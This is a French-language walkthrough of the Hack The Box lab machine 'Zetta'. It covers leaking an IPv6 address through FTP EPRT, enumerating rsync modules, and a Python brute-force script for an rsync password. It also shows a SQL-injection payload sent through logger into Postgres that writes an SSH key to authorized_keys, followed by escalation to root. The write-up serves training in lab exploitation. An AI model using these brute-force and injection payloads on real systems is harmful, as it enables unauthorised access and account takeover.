Hack The Box - Zetta Procédure pas à pas FXP, IPv6, rsync, Postgres et SQLi

image

Je continue de publier des solutions envoyées pour un traitement ultérieur à partir du site HackTheBox . J'espère que cela aidera au moins quelqu'un à se développer dans le domaine de la sécurité de l'information. Dans cet article, nous apprenons l'adresse du serveur IPv6 à l'aide de FXP, travaillons avec rsync et écrivons également la clé ssh à l'aide de l'injection SQL lors du traitement des journaux dans Postgres.

La connexion au laboratoire se fait via VPN. Il est recommandé de ne pas se connecter à partir d'un ordinateur professionnel ou d'un hôte où les données importantes pour vous sont disponibles, car vous entrez dans un réseau privé avec des personnes qui connaissent quelque chose dans le domaine de la sécurité de l'information :)

Information organisationnelle
Surtout pour ceux qui veulent apprendre quelque chose de nouveau et se développer dans l'un des domaines de l'information et de la sécurité informatique, j'écrirai et parlerai des catégories suivantes:

  • PWN;
  • cryptographie (Crypto);
  • technologies de rĂ©seau (rĂ©seau);
  • (Reverse Engineering);
  • (Stegano);
  • WEB-.

, , , .

, , Telegram . , , .

. , - , .

Recon


Cette machine a une adresse IP 10.10.10.156, que j'ajoute Ă  / etc / hosts.

10.10.10.156    zetta.htb

Tout d'abord, nous analysons les ports ouverts. Puisqu'il faut beaucoup de temps pour analyser tous les ports avec nmap, je vais d'abord le faire avec masscan. Nous analysons tous les ports TCP et UDP Ă  partir de l'interface tun0 Ă  une vitesse de 500 paquets par seconde.

masscan -e tun0 -p1-65535,U:1-65535 10.10.10.156 --rate=500

image

Ensuite, vous devez collecter plus d'informations sur les ports connus. Pour ce faire, utilisez nmap avec l'option -A.

nmap -A zetta.htb -p21,22,80

image

Jetez un Ĺ“il Ă  ce qui est sur ftp.

image

En conséquence, la bannière indique que nous pouvons nous connecter via IPv6. Voyons ce qui se trouve sur le serveur Web.

image

Nous observons le FTP natif avec prise en charge de FXP. FXP est un moyen de transférer directement des fichiers entre deux serveurs FTP sans les télécharger sur votre ordinateur. Au cours d'une session FXP, le client ouvre deux connexions FTP à deux serveurs différents, demandant un fichier sur le premier serveur, indiquant l'adresse IP du deuxième serveur dans la commande PORT.

image

En faisant défiler un peu, nous trouvons le nom d'utilisateur et le mot de passe pour FTP. Et après avoir entré les informations d'identification, on nous dit qu'il existe un support pour FXP.

image

Mais soit il n'y a pas de fichiers sur le serveur, soit ils ne nous sont pas remis. Mais comme ce serveur prend en charge FXP, nous pouvons prétendre être un autre serveur, le serveur cible a initié une connexion. Ainsi, nous révélerons son adresse IPv6 conformément à la RFC 2428.

image

image

Cela est nécessaire pour une analyse plus poussée, car l'hôte peut avoir des services qui n'acceptent que la connexion IPv6. Nous devons donc connaître notre adresse.

image

En utilisant tcpdump, nous allons suivre le trafic qui va au port 4321.

image

Et en utilisant netcat, nous nous connectons à ftp et spécifions les informations d'identification.

nc zetta.htb 21

image

Et maintenant, nous envoyons la demande EPRT.

image

Et nous observons l'adresse IPv6 de l'hĂ´te cible.

image

Maintenant, Ă©crivez-le dans / etc / hosts au lieu d'IPv4 et scannez tous les ports en utilisant nmap, en ajoutant l'option -6.

nmap -6 zetta.htb -p-

image

Nous obtenons maintenant plus d'informations en utilisant l'option -A.

nmap -A -6 zetta.htb -p21,22,80,8730

image

Point d'accès


Rsync (synchronisation à distance) est un programme pour les systèmes de type UNIX qui synchronise les fichiers et les répertoires à deux endroits tout en minimisant le trafic. Rsync peut copier ou afficher le contenu d'un répertoire et copier des fichiers, en utilisant éventuellement la compression et la récursivité. rsync transfère uniquement les modifications de fichiers, ce qui affecte les performances du programme. Voyons la liste des modules.

rsync -6 --list-only rsync://zetta.htb:8730/

image

Certains répertoires importants manquent dans cette liste. Mais le répertoire etc était disponible.

rsync -6 -av rsync://zetta.htb:8730/etc/rsync*

image

Nous lisons rsyncd.conf, pour ce fichier sur la machine locale.

rsync -6 -a rsync://zetta.htb:8730/etc/rsyncd.conf .

image

Il y a un module caché dans la configuration - home_roy, qui pointe vers le répertoire personnel de l'utilisateur roy, et il est protégé par mot de passe contre rsyncd.secrets, mais il n'est pas disponible pour nous.

rsync -6 rsync://zetta.htb:8730/home_roy/

image

UTILISATEUR


Quand il n'y avait plus d'idées, je devais trier le mot de passe. Pour cela, du code Python a été écrit et une liste de mots de passe de Seclists a été utilisée.

#!/usr/bin/python3

def clear():
    sys.stdout.write("\033[F")
    sys.stdout.write("\033[K")

from pwn import *

with open("/usr/share/seclists/Passwords/Common-Credentials/500-worst-passwords.txt", "r") as f:
    passwords = f.read().split('\n')

for password in passwords:
    s = process(["rsync", "-6", "rsync://roy@zetta.htb:8730/home_roy"], env={"RSYNC_PASSWORD":password})
    clear()
    clear()
    print(("password: " + password).ljust(30, " "), end="\r\r")
    
    s.recvuntil("\"Cloud sync\".\n\n\n")
    if b"@ERROR:" not in s.recv():
        print("found!!!")
        break
    s.close()
clear()

image

Maintenant que nous connaissons le mot de passe, générons la clé ssh et la téléchargeons sur le serveur.

image

image

image

Et en se connectant via SSH avec cette clé, nous prenons le jeton utilisateur.

image

RACINE


À côté du jeton se trouve un indice - une liste de tâches.

image

Ouvrons-les.

todo .tudu.xml

image

Voyons toutes les tâches prévues. Le serveur utilise git.

image

Dans ce cas, les journaux d'événements sont enregistrés dans la base de données.

image

Et prévoit également de changer le mot de passe, qui pour le moment ressemble à un certain type.

image

La première chose que nous faisons est d'aller à git, car là, nous pouvons voir l'historique des changements de configuration. Recherchez tous les répertoires .git sur le serveur.

image

Nous sommes particulièrement intéressés par le journal rsyslog, je copie donc l'intégralité de son référentiel sur la machine locale.

image

Maintenant, nous allons dans le répertoire avec le dépôt chargé et utilisons gitk (l'interface graphique est un peu, mais pratique).

image

Nous voyons les informations d'identification, mais si nous les utilisons, nous échouons. Dans le référentiel, vous pouvez également voir le modèle selon lequel les journaux sont placés dans la base de données. Les journaux sont enregistrés dans le journal /var/log/postgresql/postgresql-11-main.log, qui est accessible au groupe adm dont nous sommes membres.

image

Puisqu'il s'agit d'une base de données, vous pouvez essayer l'injection. Nous allons créer des événements pour l'enregistrement à l'aide de l'enregistreur, en surveillant simultanément en temps réel ce qui entre dans le journal (pour plus de commodité, vous pouvez utiliser qterminal avec une fenêtre divisée) à l'aide de watch.

watch -n 1 cat postgresql-11-main.log

Et envoyez l'événement.

logger -p local7.info "'"

image

Et une erreur se produit qui indique une injection possible. En regardant / etc / passwd, nous découvrons que l'utilisateur du service postgres a le shell / bin / bash.

image

Ainsi, nous pouvons nous connecter via ssh. Cela nous donnera accès au fichier postgres, y compris l'historique des commandes. Vérifions si nous pouvons écrire un fichier en utilisant l'injection.

logger -p local7.info "qwerty',\$\$2020-02-02\$\$);DROP TABLE if exists ralf;CREATE TABLE ralf(t TEXT);INSERT INTO ralf(t) VALUES(\$\$RALF\$\$);SELECT * FROM ralf;COPY ralf(t) TO \$\$/tmp/ralf\$\$;-- -"

image

Bien. Nous allons générer la clé ssh et écrire la clé publique sur le serveur dans le répertoire personnel du service utilisateur postgres: /var/lib/postgresql/.ssh/authorized_keys.

image

logger -p local7.info -s "qwerty',\$\$2020-02-02\$\$);DROP TABLE if exists ralf;CREATE TABLE ralf(t TEXT);INSERT INTO ralf(t) VALUES(\$\$ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDRC9/M7mhpZ/0Rs/HyPIC58k3qDu3xRVmMgt/gky8VCpH49WVkkLpW0tFNL1Z7d/NN8efres0+aG7VJXop20P4uO7BT4ikK8ccDzXKHlSVPweevKu8AAVqu98mKxXJBNI/uQ1giv+zwS23hbe5DQTGldeOSPzClxal8sj99kqCk1aN8Cs7I6+vBcOkHoMVKB8dR9Hu0ZwvLzvWDnnBR1txmjrNDPt25I+2gNc3JYvqIS2QIV2DSdh5UoFKVzA27Mav3A0yL6zJjUynnluAa27HMsKdvrfA0Q5zIY3F/snHCl4X/wxZh4o9bnfxUFt6OC0sLxk5ro1Vw6EjgACZj+aFoFXBMgX59YpUVtXbXvN/ACMkIyLh/f7CvqWDD9sppZtcBKVYB1jzlqIG5ekgv55aCrTeX9CuS9YbZrrjZC2Dos7YTOwD9TBItlR8VcU0JcR1GiS+GHZv0Rm9pizHchOiPocWqdryoGqfTfCav4AvrhDHtzk4P/C1fa3flwb3NxE= root@Ralf-PC\$\$);SELECT * FROM ralf;COPY ralf(t) TO \$\$/var/lib/postgresql/.ssh/authorized_keys\$\$;-- -"

Passons maintenant en revue ssh.

ssh -i psg_id_rsa postgres@zetta.htb

image

Nous regardons l'histoire des postgres.

image

Et nous trouvons le mot de passe. Nous rappelons la règle de mot de passe de la liste des tâches, remplaçons l'utilisateur par root et connectez-vous.

image

Nous avons tous les droits!

Vous pouvez nous rejoindre sur Telegram . Créons une communauté dans laquelle il y aura des gens qui connaissent bien de nombreux domaines de l'informatique, puis nous pourrons toujours nous entraider pour tout problème informatique et de sécurité de l'information.

All Articles